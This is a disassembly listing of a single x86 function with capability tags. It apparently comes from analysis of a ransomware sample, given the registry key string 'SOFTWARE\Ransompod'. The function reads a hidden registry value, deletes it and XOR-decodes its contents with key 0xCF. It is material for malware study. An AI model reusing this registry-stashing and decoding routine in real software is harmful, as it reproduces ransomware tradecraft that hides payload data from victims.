Function at 0x40eed0
Capabilities:
Delete registry value
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jne 0x40eefc
lea eax, [ecx + 1]
mov esp, ebp
pop ebp
ret
test edx, edx
jne 0x40ef07
lea eax, [edx + 2]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
test eax, eax
jne 0x40ef17
mov eax, 3
mov esp, ebp
pop ebp
ret
mov dword [ecx], 0
mov dword [edx], 0
mov dword [eax], 0
lea eax, [ebp - 4]
push eax
push 0x2011f
push 0
push str.SOFTWARERansompod
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40ef51
mov eax, 4
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push str.MLGS
push dword [ebp - 4]
call edi
cmp eax, 2
jne 0x40ef84
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 5
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
add eax, 2
push esi
push eax
call fcn.0045669c
mov esi, eax
add esp, 4
test esi, esi
jne 0x40efac
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 5]
pop esi
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
add eax, 2
push eax
push 0
push esi
call fcn.0044f970
add esp, 0xc
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push str.MLGS
push dword [ebp - 4]
call edi
test eax, eax
je 0x40eff4
push esi
call fcn.004533f0
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 6
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0xc], 3
je 0x40f02e
push esi
call fcn.004533f0
add esp, 4
push str.MLGS
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 7
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push str.MLGS
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 8]
mov eax, dword [esi]
add edi, 0xfffffff8
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x1c], eax
lea eax, [edi + 0xa]
mov dword [ebp - 4], 0
push eax
call fcn.0045669c
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x40f08c
push esi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 8]
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xa]
push eax
push 0
push ebx
call fcn.0044f970
push edi
lea eax, [esi + 8]
push eax
push ebx
call fcn.0044fb10
add esp, 0x18
xor ecx, ecx
test edi, edi
jle 0x40f11d
cmp edi, 0x40
jb 0x40f114
mov eax, edi
and eax, 0x8000003f
jns 0x40f0bf
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x636a40]
mov edx, edi
sub edx, eax
lea eax, [ebx + 0x20]
nop dword [eax]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
pxor xmm1, xmm0
movups xmmword [eax - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [eax - 0x40]
pxor xmm1, xmm0
movups xmmword [eax - 0x40], xmm1
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edx
jl 0x40f0d0
cmp ecx, edi
jge 0x40f11d
xor byte [ecx + ebx], 0xcf
inc ecx
cmp ecx, edi
jl 0x40f114
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
push esi
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov dword [eax], ebx
call fcn.004533f0
add esp, 4
xor eax, eax
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret